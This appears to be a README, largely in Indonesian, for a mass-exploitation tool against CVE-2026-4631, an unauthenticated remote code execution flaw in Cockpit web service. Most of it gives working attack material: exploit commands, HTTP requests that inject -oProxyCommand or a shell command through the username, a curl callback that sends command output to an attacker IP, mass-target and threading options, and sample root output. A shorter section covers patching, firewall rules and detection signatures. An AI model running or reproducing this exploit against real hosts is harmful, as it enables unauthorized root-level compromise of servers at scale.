
Unauthenticated Remote Code Execution via SSH Command-Line Argument Injection Cockpit versions 327 – 359 | CVSS 9.8 Critical | CWE-78
Unauthenticated Remote Code Execution via SSH Command-Line Argument Injection Cockpit versions 327 – 359 | CVSS 9.8 Critical | CWE-78
Tool mass exploitation untuk CVE-2026-4631 pada Cockpit web service (cockpit-ws, port 9090). Mendukung mode vulnerability scan, mode RCE dengan capture output command via built-in HTTP callback listener, mode --auto (scan + exploit sekali jalan dengan command default id), auto-add port :9090 untuk target tanpa port, kedua attack vector (ProxyCommand + username %r injection), mass target dari file, concurrency threading, dan output result terstruktur.
Author: 0xNuts
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE
pip install -r requirements.txt
Edit targets.txt — satu host per baris. Port :9090 otomatis ditambahkan jika tidak ada:
192.168.1.10
cockpit.example.com
https://manage.lab.local
# Scan + exploit sekali jalan, command default "id"
python3 exploit.py -f targets.txt --auto --callback-ip <IP_ATTACKER>
# Contoh output di results.txt:
# example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
# Scan vulnerability saja (tanpa exploit)
python3 exploit.py -f targets.txt --scan -o scan_results.txt
# RCE eksplisit dengan command custom
python3 exploit.py -f targets.txt -c "whoami" --callback-ip <IP_ATTACKER>
# Single target
python3 exploit.py -t cockpit.example.com --auto --callback-ip <IP_ATTACKER>
CVE-2026-4631 adalah blind RCE — output command tidak kembali di HTTP response. Tool pakai built-in HTTP listener (port default 8888) untuk capture output. Pastikan:
--callback-ip adalah IP yang reachable dari target (bukan 127.0.0.1)8888 (atau --listener-port custom)# Debian / Ubuntu
sudo apt update && sudo apt install cockpit-ws
# RHEL / Fedora / CentOS
sudo dnf update cockpit-ws
# Verifikasi versi (harus >= 360)
dpkg -l cockpit-ws | awk 'NR==5{print $3}' # Debian
rpm -q cockpit-ws # RHEL
Edit /etc/cockpit/cockpit.conf:
[WebService]
LoginTo = false
Restart service:
sudo systemctl restart cockpit
Restrict port 9090 ke management network saja:
sudo iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 9090 -j DROP
Mitigates Vector 1 (ProxyCommand injection) via early hostname validation:
ssh -V # harus OpenSSH_9.6 atau lebih baru
Jika tidak bisa upgrade ke 360, apply patch commit:
-- separator di beiboot.py dan cockpitauth.c-- di session.pyDetail patch: lihat docs/PATCH_ANALYSIS.md
Cockpit v327 mengganti cockpit-ssh (libssh) dengan python3 -m cockpit.beiboot yang invoke system OpenSSH ssh client. User-controlled input — hostname dari URL path dan username dari Authorization: Basic header — dipass ke ssh tanpa sanitasi dan tanpa -- end-of-options separator. Injection terjadi sebelum credential verification, jadi tidak butuh login valid.
Hostname dari URL path di-inject dengan SSH option -oProxyCommand=<cmd>.
GET /cockpit+=-oProxyCommand=<URL_ENCODED_PAYLOAD>/login HTTP/1.1
Host: target:9090
Authorization: Basic base64("x:x")
SSH parse -oProxyCommand=<cmd> sebagai option, eksekusi <cmd> sebagai ProxyCommand. Command jalan sebagai user process cockpit-ws.
Prasyarat: OpenSSH < 9.6 di target. OpenSSH 9.6+ punya early hostname validation yang block metacharacters.
%r Token Injection (Secondary)Username dari Authorization: Basic header di-inject dengan shell command.
GET /cockpit+=legit-host/login HTTP/1.1
Host: target:9090
Authorization: Basic base64("x; <CMD>; #:x")
SSH expand %r dengan username di Match exec directive → shell execute injected command.
Prasyarat: target ssh_config punya Match exec directive dengan %r token.
LoginTo) tidak di-disablessh_config dengan Match exec %r# Clone dari GitHub
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE
# Install dependency
pip install -r requirements.txt
# Verifikasi
python3 exploit.py --help
requests>=2.31 — HTTP client untuk exploit requestcolorama>=0.4 — colored terminal outputTidak ada dependency tambahan untuk listener (menggunakan stdlib http.server + threading).
usage: exploit.py [-h] [-t TARGET] [-f FILE] [--default-port PORT]
[-c CMD] [--scan] [--auto] [--vector {auto,proxycommand,username}]
[-o OUTPUT] [--callback-ip CALLBACK_IP] [--listener-port LISTENER_PORT]
[--threads THREADS] [--timeout TIMEOUT] [--delay DELAY] [--proxy PROXY]
[--user-agent UA] [-v] [--no-color]
CVE-2026-4631 Cockpit Mass Exploit — Unauthenticated RCE via SSH Argument Injection
optional arguments:
-h, --help show this help message and exit
-t, --target single target URL/host (port auto-added jika absent)
-f, --file file containing list of targets (one per line)
--default-port port yang di-append jika target tanpa port (default: 9090)
-c, --cmd command to execute (default: "id" pada mode --auto / RCE)
--scan vulnerability scan mode (no RCE, probe endpoint only)
--auto scan + exploit sekali jalan, command default "id"
--vector exploit vector: auto|proxycommand|username (default: auto)
-o, --output result output file (default: results.txt)
--callback-ip attacker IP reachable from target (for callback listener)
--listener-port callback listener port (default: 8888)
--threads concurrent workers (default: 10)
--timeout seconds to wait for callback per target (default: 10)
--delay delay between requests in seconds (default: 0)
--proxy HTTP proxy for debugging (e.g. http://127.0.0.1:8080)
--user-agent custom User-Agent string
-v, --verbose verbose output (debug)
--no-color disable colored output
--scan)Probe endpoint /cockpit+=probe-host/login tanpa exploit. Deteksi:
Tidak mengirim payload berbahaya, tidak butuh callback listener.
-c "cmd")Eksekusi command di target, capture output via callback:
curl exfil ke listener-c tidak diisi, default command = id--auto) — RecommendedScan + exploit dalam satu pass, command default id:
id (atau -c override)host [ uid=0(root) ... ]--vector auto)Try Vector 1 (ProxyCommand) pertama. Jika response menunjukkan OpenSSH >= 9.6 (hostname validation error), fallback ke Vector 2 (username %r).
Setiap entry di targets.txt tanpa port otomatis di-append :9090:
host → http://host:9090
host:9090 → http://host:9090
https://host → https://host:9090
192.168.1.10 → http://192.168.1.10:9090
[::1] → http://[::1]:9090
# Target tanpa port → auto :9090, command default "id"
python3 exploit.py -f targets.txt --auto --callback-ip 10.10.10.10
# Override command
python3 exploit.py -f targets.txt --auto -c "whoami" --callback-ip 10.10.10.10
Output results.txt:
# CVE-2026-4631 mass exploit results — 2026-07-12 00:42
# mode: auto
# command: id
# vector: auto
example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
10.0.0.5:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
host3.example.com:9090 [ VULN - no callback received (OpenSSH >= 9.6?) ]
host4.example.com:9090 [ NOT VULN ]
python3 exploit.py -f targets.txt --scan -o scan_results.txt
Output scan_results.txt:
target1.example.com:9090 [ VULN - Cockpit login flow active (HTTP 401) ]
target2.example.com:9090 [ NOT VULN ]
target3.example.com:9090 [ UNREACHABLE (ConnectionError) ]
python3 exploit.py -t target -c "id" --callback-ip 10.10.10.10
# equivalent: -t http://target:9090/
Output:
target:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
python3 exploit.py -f targets.txt -c "id" -o results.txt --callback-ip 10.10.10.10 --threads 20
# Force Vector 1 ProxyCommand
python3 exploit.py -f targets.txt -c "cat /etc/passwd" --vector proxycommand
# Force Vector 2 username %r
python3 exploit.py -f targets.txt -c "whoami" --vector username
python3 exploit.py -f targets.txt -c "id" \
--callback-ip 10.10.10.10 \
--listener-port 9999 \
--threads 50 \
--timeout 15 \
--delay 0.2
python3 exploit.py -t http://target:9090/ -c "id" --proxy http://127.0.0.1:8080 -v
Result file format line-per-target:
<host> [ <status_or_output> ]
Header result file mencatat timestamp, command, vector, dan jumlah target.
flowchart TD
CLI["exploit.py<br/>argparse CLI + banner"] --> Parser["core/target.py<br/>parse & normalize targets"]
CLI --> Engine["core/engine.py<br/>orchestrator"]
Engine --> Listener["core/listener.py<br/>HTTP callback server thread"]
Engine --> Pool["ThreadPoolExecutor<br/>concurrent workers"]
Pool --> Scanner["core/scanner.py<br/>vuln probe"]
Pool --> Exploit["core/exploit.py<br/>payload generator"]
Scanner --> Req1["requests GET<br/>/cockpit+=test/login"]
Exploit --> Req2["requests GET<br/>/cockpit+=-oProxyCommand=PAYLOAD/login"]
Req2 --> Target["Cockpit target :9090"]
Target -->|"blind RCE<br/>curl callback"| Listener
Listener --> Shared["shared dict<br/>REQID -> output"]
Engine --> Result["utils/result.py<br/>write results.txt"]
Shared --> Engine
-f file / -t url, normalisasi (add http://, default port 9090), deduplikasi--scan, probe endpoint, fingerprint Cockpit, infer vulnerabilityrequestsThreadingHTTPServer di --callback-ip:--listener-port, parse ?id=REQID&out=BASE64, simpan ke shared dicthost [ output ]CVE-2026-4631-cockpit-RCE/
├── exploit.py # entry point CLI
├── requirements.txt # dependencies
├── README.md # dokumentasi ini
├── targets.txt # contoh target list
├── results.txt # output (generated)
├── core/
│ ├── __init__.py
│ ├── target.py # parser target
│ ├── scanner.py # mode scan vuln
│ ├── exploit.py # payload generator + sender
│ ├── listener.py # HTTP callback server
│ └── engine.py # orchestrator
├── utils/
│ ├── __init__.py
│ ├── banner.py # ASCII banner
│ └── result.py # result writer
└── docs/
├── VULN_ANALYSIS.md # analisis mendalam vulnerability
├── PATCH_ANALYSIS.md # analisis patch commit
└── DETECTION.md # signature deteksi
CVE-2026-4631 adalah blind RCE — output command tidak dikembalikan di HTTP response Cockpit. Tool mengatasi dengan built-in HTTP callback listener:
--callback-ip:--listener-portbash -c 'curl -s http://CALLBACK_IP:PORT/cb?id=REQID --data "$(CMD | base64 -w0)"'
GET /cockpit+=-oProxyCommand=<URL_ENC_PAYLOAD>/login
Authorization: Basic base64("x:x")
requests.get, verify=False untuk self-signed certresults[REQID] sampai --timeouthost [ decoded_output ] ke file outputJika timeout tanpa callback, cek response SSH error:
VULN - no callback (OpenSSH >= 9.6?)UNREACHABLENOT VULNThreadPoolExecutor(max_workers=--threads) parallel per targetdict[REQID] -> target_host + dict[REQID] -> output dengan threading.LockThreadingHTTPServer handle concurrent callbacktry/except: connection error, SSL error, timeoutGET /cockpit+=-o[A-Za-z]+=.*/login
GET /cockpit+=-[A-Za-z].*/login
Watch for:
-oProxyCommand= di URL path;) di decoded Authorization: Basic valuejournalctl -u cockpit-ws | grep -E "beiboot|ProxyCommand|-oProxy"
journalctl _COMM=ssh | grep -v "^--$"
/etc/cockpit/cockpit.conf:
[WebService]
LoginTo = false
iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 9090 -j DROP
dpkg -l cockpit-ws | awk 'NR==5{print $3}' # Debian/Ubuntu
rpm -q cockpit-ws # RHEL/Fedora
# Vulnerable: 327 <= version <= 359
Tool ini dibuat untuk penetration testing authorized, security research, dan vulnerability validation pada sistem yang Anda miliki atau memiliki izin tertulis untuk diuji.
Penggunaan tool ini pada sistem tanpa izin eksplisit dari pemilik adalah ilegal dan dapat dikenai sanksi pidana sesuai hukum yang berlaku (di Indonesia: UU ITE Pasal 30-33).
Author tidak bertanggung jawab atas penyalahgunaan tool ini. Gunakan secara etis dan bertanggung jawab.
Authorized use cases:
Untuk keperluan research dan authorized testing. Tidak untuk distribusi komersial tanpa izin.
| Field | Detail |
|---|
| CVE ID | CVE-2026-4631 |
| GHSA | GHSA-m4gv-x78h-3427 |
| Severity | Critical (CVSS 9.8) |
| CWE | CWE-78 — OS Command Injection |
| Affected | Cockpit 327 – 359 |
| Fixed in | Cockpit 360+ |
| Auth required | NO (pre-authentication) |
| Reporter | Jelle van der Waa |
| Service | cockpit-ws, default port 9090 |
| Status | Makna |
|---|
uid=0(root) ... | RCE sukses, output command ter-capture |
VULN - no callback received (OpenSSH >= 9.6?) | Target vulnerable tapi Vector 1 diblok OpenSSH 9.6+, coba Vector 2 |
VULN - endpoint active | Scan mode, endpoint vulnerable terdeteksi |
NOT VULN | Cockpit >= 360 atau endpoint tidak ada |
UNREACHABLE | Koneksi gagal / timeout koneksi |
ERROR: <msg> | Exception saat eksekusi |
| Resource | URL |
|---|
| GitHub Advisory | https://github.com/cockpit-project/cockpit/security/advisories/GHSA-m4gv-x78h-3427 |
| OSS-Security Disclosure | https://www.openwall.com/lists/oss-security/2026/04/10/5 |
| Red Hat Bugzilla | https://bugzilla.redhat.com/show_bug.cgi?id=2450246 |
| NVD Entry | https://nvd.nist.gov/vuln/detail/cve-2026-4631 |
| Fix commit (cockpit) | https://github.com/cockpit-project/cockpit/commit/9d0695647 |
| Fix commit (ferny) | https://github.com/allisonkarlitskaya/ferny/commit/44ec511c99 |
| CPython argparse bug | https://github.com/python/cpython/issues/66623 |
| OpenSSH 9.6 hostname validation | https://github.com/openssh/openssh-portable/commit/7ef3787 |
| Reference PoC | https://github.com/cyberheartmi9/CVE-2026-4631-cockpit-RCE |